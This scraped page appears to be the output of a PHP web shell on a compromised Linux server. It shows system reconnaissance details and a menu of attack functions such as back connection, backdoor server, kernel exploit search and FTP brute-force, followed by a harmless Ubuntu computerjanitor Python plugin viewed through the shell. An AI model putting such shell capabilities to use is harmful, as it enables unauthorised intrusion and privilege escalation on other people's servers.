|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 24.01 GB of 70.42 GB (34.1%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
computerjanitor/
plugins/
- drwxr-xr-x
|
Viewing file: dpkg_status_plugin.py (2.22 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
# dpkg_status.py - compact the dpkg status file # Copyright (C) 2009 Canonical, Ltd. # # Author: Michael Vogt <mvo@ubuntu.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 3 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>.
from apt_pkg import TagFile, PkgSystemLock, PkgSystemUnLock import subprocess import logging
import computerjanitor _ = computerjanitor.setup_gettext()
class DpkgStatusCruft(computerjanitor.Cruft):
def __init__(self, n_items): self.n_items = n_items
def get_prefix(self): return "dpkg-status"
def get_prefix_description(self): # pragma: no cover return _("%i obsolete entries in the status file") % self.n_items
def get_shortname(self): return _("Obsolete entries in dpkg status")
def get_description(self): # pragma: no cover return _("Obsolete dpkg status entries")
def cleanup(self): # pragma: no cover logging.debug("calling dpkg --forget-old-unavail") res = subprocess.call(["dpkg","--forget-old-unavail"]) logging.debug("dpkg --forget-old-unavail returned %s" % res)
class DpkgStatusPlugin(computerjanitor.Plugin):
def __init__(self, fname="/var/lib/dpkg/status"): self.status = fname self.condition = ["PostCleanup"] def get_cruft(self): n_cruft = 0 tagf = TagFile(open(self.status)) while tagf.step(): statusline = tagf.section.get("Status") (want, flag, status) = statusline.split() if want == "purge" and flag == "ok" and status == "not-installed": n_cruft += 1 logging.debug("DpkgStatusPlugin found %s cruft items" % n_cruft) if n_cruft: return [DpkgStatusCruft(n_cruft)] return [] # pragma: no cover
|